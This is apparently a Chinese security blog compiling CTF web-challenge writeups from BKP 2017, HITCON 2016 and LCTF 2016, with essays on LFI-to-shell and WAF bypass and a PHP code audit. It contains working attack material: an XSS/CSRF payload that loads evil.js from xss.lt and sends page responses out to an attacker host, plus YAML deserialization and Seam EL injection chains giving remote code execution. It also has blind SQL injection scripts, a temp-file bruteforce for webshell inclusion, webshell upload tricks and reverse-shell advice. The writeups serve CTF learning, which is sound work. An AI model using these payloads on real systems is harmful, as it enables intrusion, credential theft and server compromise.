然后就是利用 evil.js 去利用 csrf 了,首先读取页面源代码,注意不要直接带着源码跳转过来,否则执行到存在 xss 的地方就跳转来的话 DOM 并未加载完全,得到的页面源代码是不完整的,需要设置一个 timeout。

得到页面源代码为:

<h1>Hello <script src="//xss.lt/evil.js"></script></h1>


<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file" value=123></p>
<p><input type="submit" value="upload">
</p></form>

得到了参数就可以上传文件了,但是又一个难点,如何才能绕过head里面所规定的sandbox呢?

sandbox里delete window.XMLHttpRequest,不能使用 xhr 又该如何上传文件呢。

灵机一动,想到了 sandbox 只存在于 / ,而 /login 没有sandbox,我们可以构造两个 iframe ,让 / 去使用 /login 的 window.XMLHttpRequest 不就行了吗?

于是最终的payload如下,说明见部分注释,应当是浅显易懂的:

<script>
document.cookie='username=<script src=//xss.lt/evil.js><\/script>;domain=government.vip;Path=/';
location.href='http://xss.lt/upload.html';//设置好cookie后让他跳转到我构造好的页面。
</script>

upload.html 的内容:

<iframe id="melody" src="http://admin.government.vip:8000/"></iframe>
<iframe id="m310dy" src="http://admin.government.vip:8000/login"></iframe>

evil.js 的内容

function submitRequest()
      {
        window.XMLHttpRequest = window.top.frames[1].XMLHttpRequest; // 重新定义 window.XMLHttpRequest,继承另一个 iframe 的 window.XMLHttpRequest.
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://admin.government.vip:8000/upload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
        xhr.withCredentials = "true";
        var body = "-----------------------------256672629917035\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
          "Content-Type: text/plain\r\n" +
          "\r\n" +
          "test3\r\n" +
          "-----------------------------256672629917035--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.onreadystatechange = function() {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                location.href="http://ip:port/"+escape(xhr.responseText);//把上传文件后的response给发回来。
            }
        }
        xhr.send(new Blob([aBody]));
}
submitRequest();

上传文件后的返回就是flag

simplexss

用他的 preview 功能测试了一下,发现过滤了 >,引号冒号全都不能用,这让我怎么弄呢?

结果被一个坑坑了差不多一下午。。

因为 / 也被过滤了,所以指望用 // 来代替网址开头是不行了,但是 \ 没被过滤,灵机一动想到如果用 \ 呢?

结果发现 \ 默认是 file 协议…后来试了好久,学长说他那里 \ 是 https 协议, exm??

打开 ubuntu 虚拟机,发现在 linux 下 \ 默认使用当前域的协议,windows下 \ 本身就有特殊用途,是一个 path 的写法,所以才使用了 file

既然可以使用 \,那就意味着可以 import一个 url, import 非常好用,在能够使用的情况下比起 iframe 的好处是没有跨域的问题,因为 import 相当于把另一个网页 include 进了当前域。

于是来了个 payload:

<link rel=import href=\\ip2long

本地测试发现怎么都无法通过,这是为啥??打开 console 看到报错是 不安全的响应,当前页面是 https,而我的服务器虽然开启了 https,但是因为证书是不和 ip 绑定而是和域名绑定的,所以我需要使用域名才能绕过这个限制。

但是 . 被过滤了呀?怎么使用域名呢?

不知道各位有没有印象,就是在浏览器地址栏输入。会变成.的,乌云知识库曾经有一篇文章对这类现象有详细的描述,所以这里可以用句号绕过.

最终 payload

<link rel=import href=\\xss。lt

在这里感谢 hostker 的一键申请证书功能…真的是方便。

然后用 jquery get方法去取得 flag.php 的内容就好啦。

Boston Key Party 2017 writeup

BKP2017在大家的努力下打到了18名,的确是尽力了,期待大乌龟的回归。

Prudentialv2

看逻辑是两个sha1值的比较,用google前几天刚跑出来的结果好了,太长了,但是实际上两个文件只有一个block是不一样的,编写脚本找到这个位置跑过这个block,这两段的sha1值就是相同的。

Artisinal Shoutboxes

题目逻辑是先注册一个名称,就会生成一个对应的域名的留言板。

用户名处有长度限制,但是限制是在前端可以绕过的,改一下len属性即可。

尝试了一下<script>alert(1);</script>发现很快就被ban了,于是猜测被ban是触发xss的条件。

在admin子域中,发现html页面源代码中有一段注释里会放cookie,于是有了思路。

  1. 在留言板页面构造耿直的xss触发封禁
  2. xss的内容是设置根域的cookie,cookie的内容闭合了html注释,并且插入script标签再次完成xss
  3. 获取当前网页源代码的内容。

getflag!

Snow Cloud

本题号称新时代新云,有创建标签,浏览标签,分享标签,删除标签的功能。

删除标签的同时会输出原本标签的内容,而在浏览标签中的内容是经过html编码的。

于是我们有一个大概的思路: 首先创建个看上去能xss的标签,然后share给管理员,管理员pop后触发xss

问题来了,他这里有严格的过滤,尖括号双引号单引号全都不能用。

直到发现了他奇怪的转化。


'xxxxyz'会变成')oooo<z\n\n','a'->'','啊啊'->'BB\n\n' 'Ö' -> '\n\n', 'ÖÖ' -> 'OO\n\n' 我好像发现了什么。 'ß' -> '', 'ßß' -> 'BB\n\n'

猜测是有奇怪的编码转化,可以用看上去相似的字符绕过过滤。

给大家看个最终的payload就懂了。

HITCON 2016 WEB WRITEUP[2016.10.12已更新web500]

HITCON 2016 WEB writeup

Are you rich && Are you rich2

这道题有两种解法,在token那里存在注入,可以注入得到flag,或者上网找一个大富豪的bitcoin账号,然后直接填进去就行了,这样两道题都能解出来。

Secure Posts

模板注入,{{config}},填到author那里即可。
Config {‘PREFERRED_URL_SCHEME’: ‘http’, ‘DEBUG’: False, ‘JSON_AS_ASCII’: True, ‘PROPAGATE_EXCEPTIONS’: None, ‘SESSION_COOKIE_SECURE’: False, ‘SESSION_COOKIE_NAME’: ‘session’, ‘APPLICATION_ROOT’: None, ‘SESSION_COOKIE_HTTPONLY’: True, ‘PRESERVE_CONTEXT_ON_EXCEPTION’: None, ‘TRAP_HTTP_EXCEPTIONS’: False, ‘TESTING’: False, ‘SECRET_KEY’: ‘hitcon{>_<—Do-you-know-script alert(1) /script-is-very-fun?}’, ‘SERVER_NAME’: None, ‘MAX_CONTENT_LENGTH’: None, ‘SESSION_COOKIE_DOMAIN’: None, ‘JSONIFY_PRETTYPRINT_REGULAR’: True, ‘SEND_FILE_MAX_AGE_DEFAULT’: 43200, ‘TRAP_BAD_REQUEST_ERRORS’: False, ‘LOGGER_NAME’: ‘post_manager’, ‘USE_X_SENDFILE’: False, ‘SESSION_COOKIE_PATH’: None, ‘PERMANENT_SESSION_LIFETIME’: datetime.timedelta(31), ‘JSON_SORT_KEYS’: True}>

拿到第一个flag 同时也是第二题要用到的key

Secure Posts 2

yaml rce

exp:

from flask import Flask


#init app
app = Flask(__name__)
app.secret_key = 'hitcon{>_<---Do-you-know- script alert(1) /script -is-very-fun?}'
accept_datatype = ['json', 'yaml']

default_datatype = 'yaml'
default_data = 
"""- {author: admin, content: You can store any posts here. All posts will not be stored
    at the server side., date: 'October 08, 2016 02:00:00', title: Welcome!}
- content: !!python/object/apply:subprocess.check_output
       args: [ cat flag2 ]
       kwds: { shell: true }
  author: ''
  date: ''
  title: ''
"""

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string, jsonify

#load utils
def load_eval(data):
    return eval(data)

def load_pickle(data):
    import pickle
    return pickle.loads(data)

def load_json(data):
    import json
    return json.loads(data)

def load_yaml(data):
    import yaml
    return yaml.load(data)

#dump utils
def dump_eval(data):
    return repr(data)

def dump_pickle(data):
    import pickle
    return pickle.dumps(data)

def dump_json(data):
    import json
    return json.dumps(data)

def dump_yaml(data):
    import yaml
    return yaml.dump(data)


def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename)) as f:
        template = f.read()
        name = session.get('name', 'anonymous')[:10]
        return render_template_string(template.format(name=name), **args)

def load_posts():
    handlers = {
        # disabled insecure data type
        #"eval": load_eval,
        #"pickle": load_pickle,

        "json": load_json,
        "yaml": load_yaml
    }

    datatype = session.get("post_type", default_datatype)
    data = session.get("post_data", default_data)

    if datatype not in handlers: abort(403)
    return handlers[datatype](data)

def store_posts(posts, datatype):
    handlers = {
        "eval": dump_eval,
        "pickle": dump_pickle,

        "json": dump_json,
        "yaml": dump_yaml
    }
    if datatype not in handlers: abort(403)
    data = handlers\[datatype](posts)

    session["post_type"] = datatype
    session["post_data"] = data


@app.route('/store')
def store():
    session['post_type'] = 'yaml'
    session['post_data'] = default_data
    return 'fuck'


@app.route('/')
def index():
    posts = load_posts()
    #store_posts(posts, 'yaml')
    return str(posts)

@app.route('/post', methods=['POST'])
def add_post():
    posts = load_posts()

    title = request.form.get('title', 'empty')
    content = request.form.get('content', 'empty')
    datatype = request.form.get('datatype', 'json')
    if datatype not in accept_datatype: abort(403)
    name = request.form.get('author', 'anonymous')[:10]

    from datetime import datetime
    posts.append({
        'title': title,
        'author': name,
        'content': content,
        'date': datetime.now().strftime("%B %d, %Y %X")
    })
    session["name"] = name
    store_posts(posts, datatype)
    return redirect(url_for('index'))

@app.route('/source')
def get_source():
    with open(__file__, "r") as f:
        resp = f.read()
    return Response(resp, mimetype="text/plain")

app.run()

本地运行然后cookie打过去即可。

%%%

https证书,可以看到绑定的域名,host改成这个域名即可,访问得到flag

Baby Trick

首先是前一阵的cve,成员属性数目大于实际数目时可绕过wakeup方法,这样show方法中就可以注入了。

但是login过滤了orange,只有两个用户,而orange是唯一的管理员。

后来想到了,这里使用的是utf-8编码,sql中utf-8是有缺陷的,比如我可以用Ą,这样就可以绕过strtolower,然后也同时绕过了后面$username == ‘orange’ || stripos($sql, ‘orange’) != false的判断
最后payload如下

$args[‘username’] = ‘ORĄNGE’;
$args[‘password’] = ‘babytrick1234’;
$data = new HITCON(“login”,$args);
print urlencode(serialize($data));

修改成员数目为一个比较大的值。得到flag。

Leaking

先看下对象中有啥方法var j;for(i in this){j+=i;}j

可以发现有一个buffer方法,最后遍历buffer(1)—buffer(200)即可得到flag

Angry Boy

得到了一个混淆过的 class文件,解密后大致逻辑是aes加密,key是md5(ip+secret),而每一位都可以爆破,就是爆破难度越来越高。
最终的爆破脚本

import itertools
import hashlib
import sys
import requests

dic = "0123465789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*()_+|"

url = "http://52.196.144.8:8080/"
answer = ''
for i in range(0,16):
    for j in range(0,255):
        get = requests.session()
        index = get.get(url)

        string_prefix = index.content[index.content.find('md5( "')+6:index.content.find('md5( "')+22]

        if i >= 0 and i <= 3:
            md5_prefix = "333"
        elif i >= 4 and i <= 7:
            md5_prefix = "4444"
        elif i >= 8 and i <= 11:
            md5_prefix = "55555"
        elif i >= 12 and i<= 15:
            md5_prefix = "666666"

        for key in itertools.product(dic,repeat=10):  
            s = hashlib.md5(string_prefix+''.join(key)).hexdigest()
            if s[0:len(md5_prefix)] == md5_prefix :
                break

        data = {'guess':chr(j), 'captcha':''.join(key), 'line':i}
        get_answer = get.post(url,data=data)
        if get_answer.content.find("good") != -1:
            answer += chr(j)
            print j
            break

得到secret后发现解开是乱码。这时候hint给了平台版本。改成那个版本去解密就没问题了,原因不明。。

Angry Seam

要到了答案。。求大佬指点

核心概念為在 Seam Framework 中有個內建參數為 actionOutcome,原本的作用在於頁面的導向,在 CVE-2010-1871 中曾經被找出參數內容會被 JBoss EL 解析,導致遠端代碼執行,在修復後禁止了 “#” 以及 “{” 出現,但原本的頁面導向功能還是存在,所以本來的概念是透過回報網址的功能促使管理員訪問

/angryseam/report.seam?actionOutcom>e=/profile.seam?username=ggininder
由於參數會先進行 XSS 的過濾,actionOutcom>e 會變成 actionOutcome 並帶入到 /angryseam/css.seam?actionOutcome=/profile.seam?username=ggininder 中,可導致管理員將 /profile.seam?username=ggininder 當成 CSS 載入

這時,在自身的 profile 中將名稱設置為

{/*';*/}%0a@import'http://orange.tw/?
可透過未閉合的單引號將部分 HTML 洩漏出來,而剛好 SESSIONID 就在其中取得管理員的身分取得 Flag !

不過在比賽途中出現了意外解XD 過程利用到了一個 Seam 的特性!

在之前對原代碼分析的時候其實找到了三個問題,其中一個是在 actionMethod 上的遠端任意代碼執行,不過這個漏洞的利用條件有點嚴苛,必須要在 Web Context 中有個可控檔案,可控檔案內容放置 “#{EL_HERE}” 接著就可以利用

/foo.seam?actionMethod:upload/1.gif:EL_HERE
的方式執行任意 EL 代碼!

由於這個漏洞需要有前置條件,所以官方也認為不是一個很高風險的漏洞!

不過這個漏洞還有一個下文,如果你無法控制可控檔案,但可控制現有檔案 EL 執行後的執行結果,Seam Framework 會對執行結果再進行一次 EL 解析。詳細代碼可研究 org.jboss.seam.navigation.Page 中 callAction 這個方法

因此整個攻擊流程是:

註冊一個使用者,將自身敘述設置成

/?x=#{expressions.instance().createValueExpression(request.getHeader('cmd')).getValue()}
訪問

/angryseam/template.seam?actionMethod=template.xhtml:util.escape(sessionScope['user'].getDescription())

由於在 template.xhtml 中存在

<script>
    var NAME="#{util.escape(sessionScope['user'].getUsername())}";
    var SID="#{util.escape(cookie['JSESSIONID'].value)}";
    var DESC="#{util.escape(sessionScope['user'].getDescription())}";
</script>


會將使用者的敘述從 SESSION 中取出,所以可以控制第一次 EL 的回傳結果導致第二次 EL 注入! 在訪問 template.seam 的同時順便將 Header 設置成

cmd: #{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),request.getHeader('ccc'))}
ccc: ls -alh
即可達成遠端代碼執行!

来解答几个可能存在疑惑的地方

1.为什么要在realname中用那段代码而不是desc?

因为这里realname会出现两次,一次在title一次在body,而这样import就会把后面的内容全都当作要请求的url,直到body中的下一个单引号。从而也就能泄露sid,而改desc的话import都没办法成功,因为两个单引号把import给当成字符串了。

2.rce的具体步骤

这个rce是没有回显的23333,所以你直接执行用python反弹shell就好了。最后用在源代码中看到的mysql密码直接查admin密码就行了。。不知道为啥查出来是admin,当时我还试过的。。

LCTF 2016 WEB Writeup

WEB

WEB50 签到题

首先登陆处有注入,报错盲打,猜了个表名和字段,就能得到密码。

登陆后要求你购买flag,抓包后修改flag数目为0,使用intruder爆破密码,即可得到最终flag

WEB150 我控几不主我及几啦

这题现在访问不了,不过没啥好说的,sqlmap跑出来的

WEB200 睡过了

这题真是excited,看到key可以加这种有语病的句子,瞬间想到了前段时间的CVE,通过+号绕过正则过滤,通过伪造成员属性数目绕过wakeup方法。具体分析见http://paper.seebug.org/39/

这样就能写一个文件获得webshell,进去后有open basedir的限制,在知识库上有一篇文章讲怎么绕过列目录的,在web根目录发现了flag(记得是)

WEB250 苏打学姐的网站

Img.php通过正则过滤使你不能读源码,之前有一道一样的过滤可以绕过。
绕过方法见这篇文章:http://www.yqxiaojunjie.com/index.php/archives/27/
ps.txt了!得到下一个关口。

web250

分析admin.php.txt可知,这是CBC翻转攻击,通过对已知的明文分组,再翻转特定的bit即可修改指定位。
对其中57和63位做修改即可。

<?php
$enc=base64_decode("cookie");//一开始返回的cookie内容
$enc[57] = chr(ord($enc[57]) ^ ord("5") ^ ord ("6"));
$enc[63] = chr(ord($enc[64]) ^ ord("4") ^ ord ("1"));
echo base64_encode($enc);
?>

Urlencode一下post过去即可得到下一关,上传关。
Fuzz了一下可以上传的后缀,感觉rar和ini比较特殊,看到ini瞬间想起来了以前phith0n师傅教导的方法,通过上传.user.ini来设定一个自动包含的文件来getshell,这样我先上传一个图片,内容是我的webshell,然后再上传.user.ini设定auto append file。访问上传目录下index.php即可获得webshell,在web根目录下发现flag

WEB300 HEADPIC

前面没啥说的,先通过ssrf,伪造host为本地再伪造地址即可成为本地用户。。

web300

然后再看首页

web3001

头像这里多出了一段字符
Base64解码后

i found that my account is too weak,so i make a trick,add something at the end of username<pre>$user=='admin******'?</pre>

很懵逼。后来出了提示二次注入&比较,就先看二次注入了。发现注册了xxx之后再注册xxx’ and ‘1’=’1头像就是xxx的头像,xxx’ and ‘1’=’0就没有头像,说明被再次带入了数据库查询。构造exp即可。Exp如下

#coding=utf-8

import requests

check_url = "http://web.l-ctf.com:55533/check.php"
user_url = "http://web.l-ctf.com:55533/ucenter.php"

dic = 'flagbcdehijkmnopqrstuvwxyz0123456789_'

proxy={'http':'127.0.0.1:8080'}

res = ''

for i in range(1,33):
    for j in dic:

        reg_data = {'user':'melody\'/**/and/**/(select/**/substr(pass,' + str(i) + ',1)/**/from/**/flag_admin_233/**/limit/**/0,1)=\'' + j + '\'/**/and/**/\'1\'=\'1',
                    'pass':'melody123',
                    'verify':'',
                    'typer':'1',
                    'register':'注册',        
                    }
        reg = requests.post(check_url, data=reg_data)

        get = requests.session()
        get_data = {'user':'melody\'/**/and/**/(select/**/substr(pass,' + str(i) + ',1)/**/from/**/flag_admin_233/**/limit/**/0,1)=\'' + j + '\'/**/and/**/\'1\'=\'1',
                    'pass':'melody123',
                    'verify':'',
                    'typer':'0',
                    'login':'登陆',       
                    }
        login = get.post(check_url, data=get_data)

        content = get.get(user_url)
        if content.content.find('data:image/jpeg;base64," />') == -1:
                res += j
                print res
                break

实在是太慢了。听说有人是用sleep跑的。。这不是作死吗。
跑出来账号密码,账号是admin密码解开md5是1admin2016.拿去登陆admin.php是不行的,猜测admin后有其他不可见字符,于是再看提示,比较操作,那可能性就只有这么几种了,user传入数组即可get flag…问问你们后端到底怎么比较的不是很懂。

WEB300 你一定不能来这

扫了一番目录,找到crossdomain.xml,源码审计,下载download.php是hash extender 扩展攻击。用的之前的poc写的。。太大了就不截图了网上攻击的手段很多,主要还是因为只要出现了www.rar就会下载www.rar,所以可以构造download.php+padding+www.rar即可。

源码download下来后就很显然是时间竞争了,每半个小时有一个人可以获得这个时间戳,然后附上1—10000之间的数字,再md5即可,burpsuite 100线程跑的也不算慢,最终可得flag

WEB500 盘加加

犹豫了一下还是把wp写了吧。。真是太难过了。
首先是如何获得钱,利用时间竞争,burpsuite开100个线程同时兑换33332积分瞬间变得巨富。然后就是命令注入,如图所示

在后面可以随便插命令,反弹shell过来后进行内网渗透,看到有个什么测试系统。History看到了个test.php的文件包含,通过error.log可以再次getshell,反弹个shell出来后就更坑爹了。。tmd怎么是个pwn啊。

pwn搞错了。。exp很简单,欸。。作大死了

鸡肋漏洞利用两则

放了好久的存稿了,慰藉长草的博客

仅仅存在一个php本地文件包含,并存在诸多限制的情况

这时候你可以读取的文件非常的有限,且url fopen wrappers被关闭的情况下,无法读取源码让人很头痛…感觉无法进行下一步,此时,可以利用文件包含去触发一个sigsegv。

php sigsegv信号的触发条件主要是溢出与非法内存访问,在sigsegv信号之后,php程序会异常终止。

我们要利用php程序的异常终止来切断一个正常的流程,我们想到了上传流程。

php可以接收上传文件,创建临时文件,经过相应的处理函数(move_uploaded_file())处理后,删除临时文件,最后退出php程序。

存在文件包含的地方不一定有move_uploaded_file(),但是上传文件一定会产生临时文件,我们如果能切断这个流程,让php在删除临时文件之前退出,我们也就能成功的向tmp目录下达成任意文件写入(具体默认临时文件目录随系统有所改变)。于是,一个鸡肋的本地文件包含就可以在最小条件下getshell。

那么如何触发sigsegv呢?我们构造一个溢出,递归包含自身,也就能中断正常的上传流程。

<?php include($_GET['file']); ?>

从get参数中获取文件名,include进来,那么包含文件本身就会无限的去包含file参数,达到了我们的目的。

梳理一下步骤。

  1. 目标站点a.com/b.php的file参数存在lfi
  2. 构造上传页面为

<form enctype="multipart/form-data" action="http://a.com/b.php?file=b.php" METHOD=POST> <input name="userfile" type="file"> <input type="submit" value="send"> </form>
  1. 把写好的一句话通过上传页面上传,此时因为正常的上传文件处理流程被破坏,临时文件目录中保留了我们所写的webshell,文件名为phpxxxxxx,x为数字或者大小写字母。
  2. 写个python脚本去爆破。
import itertools

import requests

import string

print('[+] Bruteforcing the inclusion')

a = "0123465789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

for key in itertools.product(a,repeat=6):  

    url = 'http://a.com/b.php?file=/tmp/php'+key

    crack = requests.get(url);

    if crack.content.find('success') != -1:

        print url


注意写好的shell有一个可以识别的明显标志,我这里是打印success供脚本识别。
总共61^6种可能,实际爆破需要比较长的时间,可以重复步骤2-3多次提高成功率,同时使用多线程提高速度

联想一下可能组合的点,比如kindeditor旧版本中存在文件遍历漏洞,此时和这里组合,可以达到快速getshell的目的。

鸡肋ssrf + cloud waf = bypass cloud waf

场景是当前ssrf无回显,无区别的反应时间,前一段时间ricter师傅发表了一篇文章,乌云drops和他的blog上都有,利用gopher协议拓展攻击面。但是很多时候gopher都是不能用的。这时候ssrf的重要作用就是获取服务器真实ip。

现在很多网站都喜欢用cdn加速自有安全防护,这样出现漏洞也得想方设法绕过waf限制,自认为提高了被攻破的难度,但实际上只要存在一个ssrf,获取了服务器真实ip后就可以绕过加速节点,直接访问服务器,服务器自身没有部署防护的话也就无法抵挡攻击。

获取服务器本身真实ip的方法也不止ssrf一种,有时也可扫描子域名或者同一企业的其他下属网站,有很大可能性是部署在同一个服务器上的,有时并没有使用第三方加速+云防护服务,同样可以获得真实ip来bypass waf。

参考资料

http://stackoverflow.com/questions/6327607/why-does-this-php-function-give-a-segmentation-fault-sigsegv

https://mukarramkhalid.com/bypass-sucuri-cloudflare-firewall/

https://dustri.org/b/from-lfi-to-rce-in-php.html

http://www.t086.com/article/4782

三个白帽代码审计之条条大路通罗马1

代码审计好难做,这几天做这些做的异常压抑,好在最后在v牛帮助下总算解决了,最终知道了自己不是常规思路。。。。mdzz,问了超威蓝猫,orz!!!

index.php

define ('PATH_WEB', dirname(__FILE__).'/');
include_once 'init.php';

if($_M['form']['class']){
    include PATH_WEB . $_M['form']['class'].'.php';
}
if($_M['form']['formname'] || $_FILES['file']['name']){
        $upfile = new upfile();
        $upfile->set('savepath', '');
        $upfile->set('is_rename', $_M['form']['is_rename']);
        $back = $upfile->upload($_M['form']['formname']);
    }

    $gb_array = [
        "name" => htmlspecialchars(filter($_M['form']['name'])),
        "message" => htmlspecialchars(filter($_M['form']['message'])),
        "filename" => $back,
    ];
    $content = jsonencode($gb_array);
    $sql = "insert into guestbook(`content`) values('".$content."');";
    $result = mysql_query($sql);
    if($result)
    {
        echo "<script>alert('thx for your feedback~')</script>";
    }

可以控制的部分,name,message,file,这里还把变量带入了函数,把相关的几个函数提取出来看一下有什么可以钻空子的地方。 显而易见,这里有任意php文件读取,因为参数经过过滤,所以截断是失效的,意味着这里只能读取php文件。

include.php

function daddslashes($string, $force = 0) {
    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = trim(addslashes($string));
        }
    }
    return $string;
}
/*
获取GET,POST,COOKIE,存放在$_M['form'],系统表单提交变量数组
*/
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}

有戏!这里说明$_M[‘form’]所有变量均可控,为之后的操作带来了很大的便利,我们可以借此控制不属于用户域内的变量,然而这里输入都经过了daddslashes的过滤,这里的过滤比较严密,去除了空格,并且对输入做了转义,需要考虑php多字节输入带来的安全问题或者通过二次覆盖来绕过,这里暂时没什么头绪

<?php
//define ('PATH_WEB', dirname(__FILE__));

class upfile {
    public    $savepath;
    public    $is_rename;

    public function __construct() {
        global $_M;
        $this->set_upfile();
    }

    public function set($name, $value) {
        if ($value === NULL) {
            return false;
        }
        switch ($name) {
            case 'savepath':
                $this->savepath = PATH_WEB.'upload/'.$value;
                break;
            case 'is_rename':
                $this->is_rename = $value;
                break;
        }   
    }

    public function set_upfile() {
        global $_M;
        $this->set('savepath', '');
        $this->set('is_rename', 1);
    }

    public function upload($form = '') {
        global $_M;
        if (is_array($form)) {
            $filear = $form;
        }else{
            $filear = $_FILES[$form];
        }
        if(!$filear){
            foreach($_FILES as $key => $val){
                $filear = $_FILES[$key];
                break;
            }
        }
        //是否能正常上传
        if(!is_array($filear))$filear['error'] = 4;
        var_dump($filear);
        //文件后缀是否为合法后缀
        $this->getext($filear["name"]); //获取允许的后缀
        if (strtolower($this->ext)=='php'||strtolower($this->ext)=='php3'||strtolower($this->ext)=='php4'||strtolower($this->ext)=='php5') {
            return false;
        }

        //文件名重命名
        $this->set_savename($filear["name"], $this->is_rename);

        //复制文件
        $upfileok=0;
        $file_tmp=$filear["tmp_name"];
        $file_name=$this->savepath.$this->savename;

        if (function_exists("move_uploaded_file")) {
            if (move_uploaded_file($file_tmp, $file_name)) {
                $upfileok=1;
            } else if (copy($file_tmp, $file_name)) {
                $upfileok=1;
            }
        } elseif (copy($file_tmp, $file_name)) {
            $upfileok=1;
        }
        if ($upfileok) {
            @unlink($filear['tmp_name']); //任意文件删除,指哪儿打哪儿
        } 

        $back = str_replace(PATH_WEB, '', $this->savepath).$this->savename;
        return $back;
    }

    protected function set_savename($filename, $is_rename) {
        if ($is_rename) {
            srand((double)microtime() * 1000000);
            $rnd = rand(100, 999);
            $filename = date('U') + $rnd;
            $filename = $filename.".".$this->ext;   
        } else {
            $name_verification = explode('.',$filename);
            $verification_mun = count($name_verification);
            if($verification_mun>2){
                $verification_mun1 = $verification_mun-1;
                $name_verification1 = $name_verification[0];
                for($i=0;$i<$verification_mun1;$i++){
                    $name_verification1 .= '_'.$name_verification[$i];
                }
                $name_verification1 .= '.'.$name_verification[$verification_mun1];
                $filename = $name_verification1;
            }
            $filename = str_replace(array(":", "*", "?", "|", "/" , "\\" , "\"" , "<" , ">" , "——" , " " ),'_',$filename);
            $filename_temp = $filename;
            $i=0;
            $savename_temp=str_replace('.'.$this->ext,'',$filename_temp);
            while (file_exists($this->savepath.$filename_temp)) {
                $i++;
                $filename_temp = $savename_temp.'('.$i.')'.'.'.$this->ext;  
            }
            if ($i != 0) {
                $filename = str_replace('.'.$this->ext,'',$filename).'('.$i.')'.'.'.$this->ext; 
            }
        }
        return $this->savename = $filename;
    }

    protected function getext($filename) {
        if ($filename == "") {//弱类型判断 可以用 数组 直接 返回null
            return ;
        }
        $ext = explode(".", $filename);
        return $this->ext = $ext[count($ext)-1];
    }

}
?>

太长了,说实话,别人的代码超过了一页根本不想看啊。。。然而还是需要慢慢审,逻辑基本上是这样的,首先在index.php调用这个类时,就会初始化savepath为’/’和is_rename为1 然后把$form传入upload(),根据代码逻辑,$form如果不是数组是没办法成功上传的,所以$form必须是数组,而且是符合格式的数组。这里已经暴露了一个漏洞,不过这个漏洞没啥用…就在unlink这里,通过控制formname可以修改缓存文件路径,如果权限没有设置的话就能做到指哪儿打哪儿。

文件重命名,判断if($is_rename),初始化时被设置为1,如何绕过呢?经过几次本地测试,发现当$is_rename=”;时,可以绕过这里的判断,再结合之前的变量覆盖,拍脑袋想这里覆盖后可直接绕过文件重命名。 结果绕过后还仅仅是开始,之后对文件名是否合法有其他判断,以’.’为单位分割文件名为一个数组,取数组最后一个元素为扩展名,扩展名做了白名单判断,fuzz后倍感无力,其他格式都执行不了,愣是让我测了一夜。。 如果出现了两个以上的小数点,会对文件名做特殊处理,这样.php.jpg这种形式也无法绕过了。理论上已经堵死了php的上传,但是有个黑科技没有堵,就是包含php脚本的html文档,扩展名为pht,这样经过一次变量覆盖之后绕过重命名,就能访问到我们的shell了,菜刀连上得flag。

然而这道题如果堵死了pht的上传……

继续看这段的逻辑。他会把文件从php临时文件的文件夹中复制过来,并且重命名,发现临时文件的文件夹可以通过get参数控制,又是一次变量覆盖,这样就能造成任意文件读取,指哪儿打哪儿。

总结一下以上发现的洞:

1.php文件包含
2.任意文件删除(权限之内)
3.任意文件读取(通过复制的方式)
4.phtml格式未过滤

题目描述是需要找到后台,所以第四个做法是意外之喜….找到了洞然而并不会用!!!!应不是出题者本义,我们需要获取后台地址,也就是目录信息,询问了Cr的做法,下面就是几个常见的敏感目录泄漏的重灾区

/etc/init.d/nginx

/etc/apache2/apache

/usr/local/nginx/conf/nginx.conf

/homw/wwwlogs/access.log

需要的时候多google一下吧。这里读取到了/etc/apache2/apache

截取关键信息

<VirtualHost *:80>

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/sgbmwww

</VirtualHost>
<VirtualHost *:8080>

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html/sgbmadmin

</VirtualHost>

我们现在在的目录是sgbmwww,我们下一步应当是sgbadmin,8080端口不允许外部访问。新一轮代码审计~,把后台的index.php读回来

<?php

include_once 'init.php';

$sql = "select id,content from guestbook where content like '%".$_M['form']['search']."%' order by id desc limit 0,100;";
$result = mysql_query($sql);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
    <head>
        <title>Animated Form Switching with jQuery</title>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <meta name="description" content="Expand, contract, animate forms with jQuery wihtout leaving the page" />
        <meta name="keywords" content="expand, form, css3, jquery, animate, width, height, adapt, unobtrusive javascript"/>
        <link rel="shortcut icon" href="../favicon.ico" type="image/x-icon"/>
        <link rel="stylesheet" type="text/css" href="css/style.css" />
        <script src="js/cufon-yui.js" type="text/javascript"></script>
        <script src="js/ChunkFive_400.font.js" type="text/javascript"></script>
        <script type="text/javascript">
            Cufon.replace('h1',{ textShadow: '1px 1px #fff'});
            Cufon.replace('h2',{ textShadow: '1px 1px #fff'});
            Cufon.replace('h3',{ textShadow: '1px 1px #000'});
